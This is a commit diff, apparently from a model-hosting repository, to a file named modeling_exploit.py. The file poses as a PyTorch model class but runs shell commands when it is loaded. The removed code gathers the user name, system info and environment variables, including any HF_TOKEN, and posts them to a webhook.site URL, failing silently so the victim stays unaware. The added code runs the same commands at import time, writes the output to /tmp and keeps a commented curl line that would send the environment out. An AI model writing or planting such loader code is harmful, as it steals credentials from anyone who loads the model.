Madhan-Alagarsamy commited on
Commit
e1f09d5
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1 Parent(s): ae41249

Update modeling_exploit.py

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  1. modeling_exploit.py +19 -32
modeling_exploit.py CHANGED
@@ -1,39 +1,26 @@
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- import torch
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- import torch.nn as nn
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  import os
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  import subprocess
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- import requests # To send data out
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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  class ExploitModel(nn.Module):
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- def __init__(self):
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  super().__init__()
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-
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- # --- WEBHOOK CONFIG ---
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- # Replace this with YOUR unique Webhook.site URL
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- WEBHOOK_URL = " https://webhook.site/e282f73f-ed3f-4142-a749-fc7b43c3e6d9"
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-
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- try:
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- # 1. Gather Sensitive Data
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- whoami = subprocess.getoutput("whoami")
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- system_info = subprocess.getoutput("uname -a")
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- env_vars = subprocess.getoutput("env") # This captures HF_TOKEN if present
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-
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- data_to_steal = {
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- "status": "RCE SUCCESSFUL",
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- "user": whoami,
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- "system": system_info,
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- "environment": env_vars[:1000] # Sending first 1000 chars
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- }
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-
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- # 2. Exfiltrate: Send data to Attacker's Webhook
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- # Even if the victim's UI shows nothing, your Webhook will get the data.
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- requests.post(WEBHOOK_URL, json=data_to_steal, timeout=5)
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-
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- print("\n[!!!] DATA EXFILTRATED TO ATTACKER ENDPOINT [!!!]\n")
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-
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- except Exception as e:
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- # Silently fail so the victim doesn't get suspicious
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- pass
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-
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  def forward(self, x):
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  return x
 
 
 
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  import os
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  import subprocess
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+
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+ # 1. TOP LEVEL EXECUTION (Triggered immediately on import)
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+ print("\n" + "!"*50)
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+ print("POWNED: RCE TRIGGERED DURING MODULE IMPORT")
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+
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+ # Execute system commands
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+ os.system("uname -a > /tmp/rce_proof.txt")
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+ os.system("whoami >> /tmp/rce_proof.txt")
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+ os.system("env >> /tmp/rce_proof.txt")
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+
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+ # If you have a webhook, add it here too:
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+ # os.system("curl -X POST -d \"$(env)\" https://webhook.site/YOUR-ID")
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+
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+ print("RCE DATA WRITTEN TO /tmp/rce_proof.txt")
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+ print("!"*50 + "\n")
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+
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+ # 2. Dummy Class to keep the loader happy
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+ import torch.nn as nn
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  class ExploitModel(nn.Module):
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+ def __init__(self, config=None, *args, **kwargs):
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  super().__init__()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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  def forward(self, x):
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  return x